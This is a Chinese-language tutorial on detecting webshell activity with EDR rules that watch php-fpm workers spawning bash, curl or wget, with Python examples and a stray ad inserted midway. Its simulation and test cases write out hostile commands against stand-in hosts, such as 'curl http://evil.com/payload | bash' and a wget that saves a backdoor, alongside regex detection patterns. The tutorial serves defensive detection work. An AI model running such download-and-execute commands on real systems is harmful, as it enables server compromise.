通过edr规则检测php-fpm拉起bash、curl或wget,核心在于监控进程树关系和命令行参数。具体做法是配置edr的进程创建监控,设置父进程白名单为php-fpm工作进程(通常用户为www-data或nginx),并匹配子进程名称包含bash、sh、curl或wget,同时检查命令行中是否包含管道符、重定向或常见恶意域名/ip。这样可以在不依赖文件哈希的情况下,精准识别webshell或注入脚本发起的后门连接行为。

如何配置基于父进程白名单的EDR规则?
在EDR平台中,首先需要定义受信任的父进程上下文。大多数PHP-FPM部署中,父进程是master进程,但实际执行脚本的是worker进程。因此,规则应锁定父进程名为php-fpm,且运行用户为web服务账户(如www-data)。当该父进程派生子进程时,如果子进程的可执行文件名不是预期的php或内置工具,而是bash或curl,则触发警报。这种基于血缘关系的检测能有效防止攻击者通过修改环境变量或PATH来绕过简单的文件名检测。

import subprocess
import os
def simulate_webshell_attack():
# 模拟php-fpm worker进程(父进程)
parent_pid = os.getpid()
print(f"[Parent] PHP-FPM Worker (PID: {parent_pid}) executing script...")
# 场景1: php-fpm 拉起 bash 执行命令
try:
# 使用subprocess.Popen模拟execve调用
# 在实际EDR日志中,这对应父进程ID为parent_pid
cmd_bash = ["/bin/bash", "-c", "whoami"]
print(f"[Child] Spawning process: {' '.join(cmd_bash)}")
# 这里仅打印,实际环境中会真正执行
# subprocess.run(cmd_bash)
except Exception as e:
print(f"Error spawning bash: {e}")
# 场景2: php-fpm 拉起 curl 进行外联
try:
cmd_curl = ["/usr/bin/curl", "http://evil.com/shell.php"]
print(f"[Child] Spawning process: {' '.join(cmd_curl)}")
# subprocess.run(cmd_curl)
except Exception as e:
print(f"Error spawning curl: {e}")
if __name__ == "__main__":
simulate_webshell_attack()
上述Python代码模拟了父进程(代表php-fpm worker)调用外部程序的行为。在真实环境中,EDR会捕获到类似“Parent: php-fpm, Child: /bin/bash”的事件。预期结果是系统记录了一次由php-fpm发起的bash进程创建事件,其命令行参数为“-c whoami”。开发者应确保EDR规则能解析出父进程ID与子进程ID的关联,并将父进程的用户身份纳入判断逻辑。
立即学习“PHP免费学习笔记(深入)”;
向CurlShip提交产品,这是一个对机器人友好的SaaS目录。只需一条curl命令即可发布产品,支持OG标签抓取、带徽章的dofollow链接及层级升级。
如何结合命令行参数特征进行深度检测?
仅仅检测进程名可能会产生误报,例如合法的备份脚本可能调用curl。因此,需要深入分析命令行参数(CommandLine)。常见的Webshell利用curl或wget下载恶意载荷时,通常会使用静默模式(-s, -S, --silent)或后台运行(&)。此外,如果命令行中包含管道符(|)将输出重定向到另一个命令,或者包含明显的恶意IP地址和端口,应视为高危。EDR规则应支持正则表达式匹配命令行字符串,以捕捉这些隐蔽的攻击特征。

import re
def analyze_command_line(args):
cmdline = " ".join(args)
alerts = []
# 检测常见的curl/wget恶意用法
patterns = [
r"-s\s.*-O", # 静默下载并保存
r"\|\s*bash", # 管道传递给bash执行
r"\|\s*sh", # 管道传递给sh执行
r"http[s]?://\d+\.\d+\.\d+\.\d+", # 直接连接IP
r"eval\(base64_decode" # PHP代码中的常见混淆
]
for pattern in patterns:
if re.search(pattern, cmdline, re.IGNORECASE):
alerts.append(f"Suspicious pattern found: {pattern}")
return alerts
# 测试用例:模拟攻击者的命令行
test_cases = [
["/usr/bin/curl", "-s", "http://192.168.1.100/malware.sh"],
["/bin/bash", "-c", "curl http://evil.com/payload | bash"],
["/usr/bin/wget", "-q", "-O", "/tmp/backdoor", "http://attacker.com/b"]
]
for tc in test_cases:
result = analyze_command_line(tc)
if result:
print(f"Command: {' '.join(tc)} -> Alerts: {result}")
else:
print(f"Command: {' '.join(tc)} -> Clean")
这段代码展示了如何通过正则表达式分析命令行参数。测试用例涵盖了三种典型攻击向量:直接下载、管道执行和静默下载。预期结果是每个测试用例都能被相应的正则模式匹配并生成警报。例如,第二个测试用例“curl ... | bash”会同时匹配管道给bash的模式。开发者应将此类逻辑集成到EDR的规则引擎中,确保对复杂命令行有更高的敏感度。
php-fpm拉起bash时具体的父子进程ID关系是什么?
在Linux系统中,当php-fpm worker进程执行system()、exec()或passthru()等函数时,内核会创建一个新的进程。此时,新进程的PPID(父进程ID)等于php-fpm worker进程的PID。通过查看/proc/[child_pid]/stat文件或EDR采集的进程事件,可以明确看到这一关系。例如,如果php-fpm worker的PID是12345,它拉起的bash进程的PPID也应为12345。这种严格的ID映射是构建精确检测规则的基石,确保不会将其他用户启动的bash误判为php-fpm的行为。


















